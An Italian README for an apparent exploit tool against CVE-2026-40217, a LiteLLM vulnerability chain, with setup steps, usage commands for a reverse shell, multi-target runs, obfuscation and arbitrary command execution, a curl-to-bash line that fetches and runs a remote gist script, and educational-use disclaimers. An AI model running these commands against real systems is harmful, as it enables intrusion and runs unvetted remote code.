cve-id

⚡ Utilizzo Semplice

Usa questo progetto solo in ambienti sicuri e autorizzati come:

• Macchine virtuali locali
• Container Docker
• Configurazioni di laboratorio isolate
• Ambienti di test di penetrazione autorizzati

Esempio di configurazione:

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

Esempio di utilizzo:

# Help
python cve-2026-40217.py -h

# Single target + reverse shell
python cve-2026-40217.py -t http://localhost:4000 -k "sk-..." --revshell --obfuscate 2

# Multi-target + obfuscation
python cve-2026-40217.py -f targets.txt -k "sk-..." --obfuscate 3 -c "whoami; id"

# With custom threads
python cve-2026-40217.py -f targets.txt -k "sk-..." --threads 10

Nota:

• se cloni da un altro progetto devi eseguire curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y per pulire la directory .git annidata

Crediti o Riferimenti

• https://thehackernews.com/2026/06/litellm-vulnerability-chain-lets-low.html
• CVE-2026-40217-PoC-learner202649: https://github.com/learner202649/CVE-2026-40217-PoC

📚 Repository Educativo di Ricerca sulla Sicurezza

Un repository per imparare, testare e ricercare concetti di cybersecurity in ambienti controllati.

⚠️ Disclaimer sulla Sicurezza e Legale

Scopo

Questo repository è solo per ricerca educativa e autorizzata sulla sicurezza.

È progettato per aiutare gli utenti a imparare su:

• Vulnerabilità di sicurezza
• Concetti di sandbox e isolamento
• Pratiche di codifica sicura e difensiva

Solo Uso Autorizzato

Usa questo repository solo in ambienti in cui hai il permesso, come:

• Laboratori personali o macchine virtuali
• Docker o ambienti isolati
• Test di penetrazione autorizzati
• Formazione sulla cybersecurity o ricerca accademica

L'uso non autorizzato o illegale è severamente vietato.

Nessuna Responsabilità

L'autore e i collaboratori non sono responsabili per danni, usi impropri, problemi legali o perdite causati da questo progetto.

Usando questo repository, accetti che:

• Sei responsabile delle tue azioni
• Lo userai in modo legale ed etico
• Il progetto è fornito senza garanzia

Uso Etico

Questo progetto è destinato a:

• Ricerca sulla sicurezza difensiva
• Educazione alla cybersecurity
• Consapevolezza delle vulnerabilità
• Ricerca su sistemi e software sicuri

Si prega di seguire le pratiche di divulgazione responsabile e rispettare tutte le leggi applicabili.

Contatti

Per divulgazione responsabile o collaborazione, contatta il manutentore del repository tramite GitHub.